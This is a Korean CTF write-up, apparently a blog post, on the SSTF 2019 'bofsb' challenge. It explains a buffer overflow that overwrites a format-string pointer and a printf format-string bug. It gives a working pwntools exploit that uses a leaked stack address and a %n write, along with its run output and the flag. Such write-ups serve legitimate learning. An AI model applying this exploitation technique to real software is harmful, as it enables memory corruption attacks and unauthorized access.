본문으로 바로가기

Mitigation

juntae@ubuntu:~/ctf/SSTF_2019/bofsb$ checksec bofsb 
[*] '/home/juntae/ctf/SSTF_2019/bofsb/bofsb'
  Arch:     i386-32-little
  RELRO:   Full RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled

미티게이션이 다걸려있다.


Analysis

/***************************/
/* source codes from bofmt */
/* decompiled by IDA pro   */
/***************************/

unsigned int showFlag()
{
 FILE *stream; // ST0C_4
 char s; // [esp+4h] [ebp-88h]
 unsigned int v3; // [esp+84h] [ebp-8h]

 v3 = __readgsdword(0x14u);
 stream = fopen("flag", (const char *)&unk_A60);
 fgets(&s, 128, stream);
 puts("Thank you for using the magic code!");
 printf("The flag is %s\n", &s);
 fclose(stream);
 return __readgsdword(0x14u) ^ v3;
}

_BOOL4 __cdecl playOthello(int a1)
{
 printf("\n\nLet the games Begin... Your card is %x\n", a1);
 return a1 == 33;
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
 int v4; // [esp+0h] [ebp-50h]
 int v5; // [esp+4h] [ebp-4Ch]
 char *format; // [esp+44h] [ebp-Ch]
 unsigned int v7; // [esp+48h] [ebp-8h]

 v7 = __readgsdword(0x14u);
 setvbuf(stdout, 0, 2, 0);
 setvbuf(stdin, 0, 2, 0);
 puts("Welcome to Othello game!");
 puts("Please select your color.");
 puts(" 1: Black");
 puts(" 2: White");
 printf(" > ");
 __isoc99_scanf("%d", &v4);
 if ( v4 == 1 )
{
   format = "Black";
}
 else
{
   if ( v4 != 2 )
  {
     puts("You selected a wrong number.");
     exit(0);
  }
   format = "White";
}
 printf("okay, please remember this magic code: %p\n", &v5);
 printf("Please enter your name: ");
 __isoc99_scanf("%s", &v5);
 printf("%s, your color is ", &v5);
 printf(format);
 if ( playOthello(v4) )
{
   puts("Congrats, You Win!!");
   showFlag();
}
 else
{
   puts("Sorry, you lose.");
}
 return 0;
}

Black, White 둘중 하나 입력받는다.

근데 어차피 뭘입력받든 상관이 없는게 어차피 color 값 바꾼다.

일단 코드를 보면 두가지 취약점이 있다.


첫번째로는 이부분!

 printf("Please enter your name: ");
 __isoc99_scanf("%s", &v5);
 printf("%s, your color is ", &v5);

%s로 입력받는거라 BOF가 발생한당.


두번째로는 이부분!

printf(format);

FSB 취약점이 발생한당.


이 두가지 취약점과 스택의 주소를 leak해준다는 점을 이용하여 if문을 맞추면 된다.

printf("okay, please remember this magic code: %p\n", &v5);

이게 leak해주는 부분이다.

_BOOL4 __cdecl playOthello(int a1)
{
 printf("\n\nLet the games Begin... Your card is %x\n", a1);
 return a1 == 33;
}

그리고 a1 == 33이면 1을 리턴하고...

if ( playOthello(v4) )
{
   puts("Congrats, You Win!!");
   showFlag();
}

이 루틴에 의해 플래그를 보여준당.

그래서 오버플로우로 format부분까지 %p로 덮고, format부분에 버퍼의 주소를 넣는당.

그러면 format에 %p %p 같은 포멧들이 들어간다.

그러면 릭이 되는데 요걸로 값을 입력하면 된다.

주의해야할 점은 요거 format이 포인터라 주소 말고 그냥 %p로 덮으면 릭이 안된당.


Exploit

from pwn import *

e = ELF("./bofsb")
#r = process("./bofsb")
r = remote("bofsb.sstf.site",1337)

r.recvuntil("> ")
r.sendline("1")

r.recvuntil("code: ")
leak = r.recv(10)
leak = int(leak,16)
flag = leak - 0x4
log.info("buf : " + hex(leak))
log.info("flag : " + hex(flag))

r.recvuntil("name: ")

payload = ""
payload += p32(flag)
payload += "%{}c".format(33 - 0x4)
payload += "%{}$n".format(2)
payload += "A" * (0x40 - len(payload))
payload += p32(leak)
pause()
r.sendline(payload)
sleep(0.1)
log.info("len payload : " + str(len(payload)))

r.interactive()

릭해서 fsb로 33검사하는 루틴에 33 박아주면 끝!

로컬도 그렇고 리모트도 그렇고 값 제대로 안박혀서 슬립넣었당.


Flag

juntae@ubuntu:~/ctf/SSTF_2019/bofsb$ c
juntae@ubuntu:~/ctf/SSTF_2019/bofsb$ p ex.py
[*] '/home/juntae/ctf/SSTF_2019/bofsb/bofsb'
   Arch:     i386-32-little
   RELRO:    Full RELRO
   Stack:    Canary found
   NX:       NX enabled
   PIE:      PIE enabled
[+] Opening connection to bofsb.sstf.site on port 1337: Done
[*] buf : 0xffaaf43c
[*] flag : 0xffaaf438
[*] Paused (press any to continue)
[*] len payload : 68
[*] Switching to interactive mode
8𫽥29c%2$nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<𫽬 your color is 8𫽠                           AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<

Let the games Begin... Your card is 21
Congrats, You Win!!
Thank you for using the magic code!
The flag is SCTF{buff3r_0v3rf10w_and_f0rm47_57r1ng_bu9_4r3_0ld5ch001_ch4113n935}

끝!